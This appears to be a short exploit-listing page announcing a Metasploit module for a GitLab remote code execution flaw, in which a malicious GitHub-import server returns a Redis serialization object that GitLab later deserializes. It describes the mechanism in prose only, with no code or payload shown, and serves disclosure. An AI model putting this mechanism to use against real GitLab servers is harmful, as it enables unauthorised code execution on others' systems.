GitLab GitHub Repo Import Deserialization Remote Code Execution

GitLab GitHub Repo Import Deserialization Remote Code Execution
Posted Feb 15, 2023
Authored by Heyder Andrade, William Bowling, RedWay Security | Site metasploit.com

An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested default_branch. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in remote code execution.

An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
